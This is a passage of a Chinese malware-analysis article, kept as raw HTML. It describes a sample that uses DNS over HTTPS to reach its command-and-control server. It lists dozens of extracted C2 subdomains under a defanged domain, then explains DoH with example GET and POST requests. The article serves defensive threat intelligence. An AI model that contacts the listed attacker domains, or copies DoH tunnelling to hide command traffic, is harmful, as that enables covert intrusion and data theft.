style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">4</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;"> 流量解密</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本利用 DoH 协议的隐蔽特性与 C&amp;C 服务器进行通信，发送加密指令并接收响应，从而实现远程控制与数据窃取等恶意行为。天穹沙箱凭借其深度流量解密能力，成功捕获并解析了该样本的 DoH 通信流量，提取了其中的指令与数据。</span><span leaf=""><br/></span><span leaf=""><img alt="alt text" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005474" data-ratio="0.42592592592592593" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2cc122d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvKOiaSLaR4BlInXUuL2owZAUqxHXZUu6vqvC3HVHEFlrDHdibwgtcyAL80hTKLsNfCPeSWh1oKeeaIzgNkgiaOs0ib8zCW4mhNEIM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">提取的指令控制域名如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">eq5q2qfyosi3y5zlbcsv2b22y5fcacaabtaaaaaaaaaaaaaaaaaaeqaaaaakaa<span class="code-snippet__selector-class">.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi3y2lylucv2b22y5fcacaaa4acaaaaaaaaaaaaaaaaeqaaaaakaa<span class="code-snippet__selector-class">.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32f2x54uvo53z7iq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32aclpmjz6w24jrq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi3y4qtq7br2b22y5feab7abu6kgyaaaaaaaabaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi3y7x7dnrr2b22y5feab7acqoigyaaaaaaaabaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi3y5brimtr2b22y5fcacaad7qgaaaaeaaaaabaaaaaiaaaaadaob<span class="code-snippet__selector-class">.xhaytozdggq4diyjugjstmmrvmu3wkmjygi4damrrg5tdkmq.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32cs3dybnrd5pyba<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32hvdjv5qzr6voga<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32fw3wrsxgr7z2uq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32bpnzrtuwlip4ka<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32du7t6lii7uskcq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32gva5kaxpcjmaoq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32an32ijnslsnaoa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhlyzvqnwsvpb452wvcacaaajdwaaaaaaaaaaaaaaaaeqaaaaakaa<span class="code-snippet__selector-class">.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly5a7rdsvpb452wvcacaadntwaaaaaaaaaaaaaaaaeqaaaaakaa<span class="code-snippet__selector-class">.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly3qm2esvpb452wvcacaabxd2aaaaaaaaaaaaaaaaeqaaaaakaa<span class="code-snippet__selector-class">.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2amwqwzue47yrsa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly3lei4rrpb452wveab7aavr6haaaaaaaaabaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly34psvbrpb452wveab7abrb4haaaaaaaaabaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly3kpxttrpb452wvcacaaczt2aaaaeaaaaabaaaaaiaaaaadaob<span class="code-snippet__selector-class">.xhaytozdggq4diyjugjstmmrvmu3wkmjygi4damrrg5tdkmq.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2fiuirqx2aqsnga<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly2m7jtdrpb452wvcacaaced4aaaaeaaaaabaaaaaiaaaaadaob<span class="code-snippet__selector-class">.xhaytozdggq4diyjugjstmmrvmu3wkmjygi4damrrg5tdkmq.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2enlrqzt46szj5q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2c7znun7d7p37wa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2h5b2lq7bby67ca<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2dmrf3ojd2bcatq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32cqul2tbhor3xvq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32cv5g7wa6aqrfpa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi3y34twbbr2b22y5feab7adrrihaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2hvchqewmcgaqma<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32ags5vfoerlvyta<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2ge6wny4q26qd3a<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32ccqqv6n7gkq7cq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2htmqegbpgn2nka<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32gpuxu6fa6ymiyq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2eqdkkwxna3nniq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2dyyxxl3inypieq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly5uadmbrpb452wveab7acmechaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly3nc4jbrpb452wveab7acgtghaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly7rgt2brpb452wveab7adsdkhaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly24owyrrpb452wveab7acjtuhaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhlyynveibzpb452wvcacaaawwaaaaaiaaaaacaaaaabaaaaagg33<span class="code-snippet__selector-class">.omy.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32d3vtrnwtjjtmhq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2bpe7xygqmcd2na<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2di5pe3wemnat2q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhlyzfwkxrrpb452wveab7abluehaaaiaaaaadaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly3izbxbzpb452wvcacaabrweaaaayaaaaadaaaaabaaaaaceor<span class="code-snippet__selector-class">.qpu.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly4b3ngilpb452wvcacaabrweaaaamaaaaadaaaaa3iaaaagg33<span class="code-snippet__selector-class">.omzbqcaaapmreszbchiycyisjonbw63tomvrxiir2mzqwy43ffqrfmzlsnfthss</span>.<span class="code-snippet__number">3</span>fperduircfqrfi4bchirgi33ieiwceqlemrzceorceiwceutfnvqxe2zchirce<span class="code-snippet__selector-class">.lbckn2gc5dvomrduztbnrzwklbcjrxwgylmjficeorcge.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly3zawgilpb452wvcacaabrweaaaaqaaaaadaaaaa3iaaaadalr<span class="code-snippet__selector-class">.qfyzc4mjveiwcevltmvze4ylnmurduiseivjuwvcpkawuerrrgjgdar24lrwgsy</span>.<span class="code-snippet__number">3</span>imfxselbcjbxxg5comfwwkir2ejceku2lkrhvalkciyytetbqi4rcyismn5rwc.<span class="code-snippet__number">5</span>djn5xceorceiwcet3tjzqw2zjchirho2lomrxxo427me<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly425nkilpb452wvcacaabrweaaaauaaaaadaaaaa3iaaaag2zb<span class="code-snippet__selector-class">.wgqrcyisqojxwgzltonhgc3lfei5ce43dfzsxqzjopa3diltfpbsselbckbuw4z</span>.<span class="code-snippet__number">2</span>dnbswg22unfwwkir2gawcettpkn2g64tfei5gmylmonssyison5cgs43qnrqxs<span class="code-snippet__selector-class">.ir2mzqwy43ffqre2ylyinxw43rchiycyison53ug33ony.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2e35noabvsosmva<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2hexenetephiupq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly6luhmylpb452wvcacaacsgeaaaauaaaaadaaaaa3iaaaag2zb<span class="code-snippet__selector-class">.wgqrcyisqojxwgzltonhgc3lfei5ce43dfzsxqzjopa3diltfpbsselbckbuw4z</span>.<span class="code-snippet__number">2</span>dnbswg22unfwwkir2gawcettpkn2g64tfei5gmylmonssyison5cgs43qnrqxs<span class="code-snippet__selector-class">.ir2mzqwy43ffqre2ylyinxw43rchiycyison53ug33ony.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly6xhtvylpb452wvcacaacsgeaaaamaaaaadaaaaa3iaaaagg33<span class="code-snippet__selector-class">.omzbqcaaapmreszbchiycyisjonbw63tomvrxiir2mzqwy43ffqrfmzlsnfthss</span>.<span class="code-snippet__number">3</span>fperduircfqrfi4bchirgi33ieiwceqlemrzceorceiwceutfnvqxe2zchirce<span class="code-snippet__selector-class">.lbckn2gc5dvomrduztbnrzwklbcjrxwgylmjficeorcge.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2besoytdrhshnrq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2hf3lmapgv2yona<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2g62xepkxpr222q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhl2fbtmlauu6fdksq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf=""><span class="code-snippet__number">32</span>gim4decfwhly3ycsmrrpb452wveab7adwuihaaamaaaaaeaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly5opqlsv4meijjfcacaaakggaaaaaaaaaaaaaaaaeqaaaaakaa<span class="code-snippet__selector-class">.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2enbvbklxtoyp7q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly4gwtcrr4meijjfeab7adpukhaaaaaaaaabaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly73k3utr4meijjfcacaad2ggaaaaeaaaaabaaaaaiaaaaadooj<span class="code-snippet__selector-class">.xgzswin3ehbrdcm3dgi4wcyruguzdmnrvmi3tqzbzgyzwimi.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2hcumpobkigdqsa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2dtrzpj6imwig3q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2f3myrz7o4ubguq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2botmopmv7a3i2q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2dqo7wcjpejtj6a<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">neq5q2qfyosi32dt6po72rcwjn3q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2bmrfketnugysba<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2dbm3xbziuxpqea<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly3mdzmbr4meijjfeab7ab6gehaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly52obpbr4meijjfeab7acrfshaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly5ubxqbr4meijjfeab7aa4vuhaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly2fow5br4meijjfeab7abtvwhaaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly5c52qrr4meijjfeab7aawf2haaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2ly3hpi6br4meijjfeab7acev6haaaeaaaaacaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2lyyijovrz4meijjfcacaaahyeaaaaiaaaaacaaaaabaaaaag2yl<span class="code-snippet__selector-class">.jny.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umczy2swkxcuoklqfrvcacaaahyeaaaaaaaaaaaaaaaaeqaaaaakaa<span class="code-snippet__selector-class">.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2edu6qjytcww4tq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umcz2hwtnprspkqtuyq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2gh7typqouglhbq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umcz2ehdzinxhziuwea<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umcz2arevpw5sjwrniq<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umczy2eig5rqoklqfrveab7acswkhaaaaaaaaabaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umczyylce4bqoklqfrveab7adogihaaaaaaaaabaaaaaaaaaaaa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umczyzpgpzdqoklqfrvcacaadeiiaaaaeaaaaabaaaaaiaaaaadooj<span class="code-snippet__selector-class">.xgzswin3ehbrdcm3dgi4wcyruguzdmnrvmi3tqzbzgyzwimi.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umcz2aepgzyly3cb55a<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umcz2emsbjitplu7ffa<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">c3nunitkaul2l2bqv2xbchdfcc5q<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/><code><span leaf="">x5pcj5rx6umcz2fngfp7d2hre7ma<span class="code-snippet__selector-class">.ns1.famc</span><span class="code-snippet__selector-attr">[.]</span>clinic</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">截至发稿时，上述指令控制域名尚未注册，推测攻击者可能在后续阶段注册这些域名以继续进行攻击活动。</span></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">5</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;"> 关于DoH(DNS over HTTPS)协议</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">DNS over HTTPS（缩写：DoH）是一种经由 HTTPS 协议进行的远程域名系统（DNS）解析协议。该方法旨在防止网络中间人对 DNS 数据进行窃听和操纵，利用 HTTPS 协议加密 DoH 客户端和 DoH 服务器（递归解析器）之间的数据，以提高用户的隐私和安全性。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 17px;">GET 方法报文</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">:<span class="code-snippet__function"><span class="code-snippet__keyword">method</span></span><span class="code-snippet__function"> = </span><span class="code-snippet__function"><span class="code-snippet__title">GET</span></span></span></code><br/><code><span leaf="">:scheme = <span class="code-snippet__title">https</span></span></code><br/><code><span leaf="">:authority = <span class="code-snippet__title">dnsserver</span>.<span class="code-snippet__title">example</span>.<span class="code-snippet__title">net</span></span></code><br/><code><span leaf="">:path = /<span class="code-snippet__title">dns</span>-<span class="code-snippet__title">query</span>?<span class="code-snippet__title">dns</span>=<span class="code-snippet__title">AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">accept</span> = <span class="code-snippet__title">application</span>/<span class="code-snippet__title">dns</span>-<span class="code-snippet__title">message</span></span></code><br/></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">POST 方法报文</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">:<span class="code-snippet__function"><span class="code-snippet__keyword">method</span></span><span class="code-snippet__function"> = </span><span class="code-snippet__function"><span class="code-snippet__title">POST</span></span></span></code><br/><code><span leaf="">:scheme = <span class="code-snippet__title">https</span></span></code><br/><code><span leaf="">:authority = <span class="code-snippet__title">dnsserver</span>.<span class="code-snippet__title">example</span>.<span class="code-snippet__title">net</span></span></code><br/><code><span leaf="">:path = /<span class="code-snippet__title">dns</span>-<span class="code-snippet__title">query</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">accept</span> = <span class="code-snippet__title">application</span>/<span 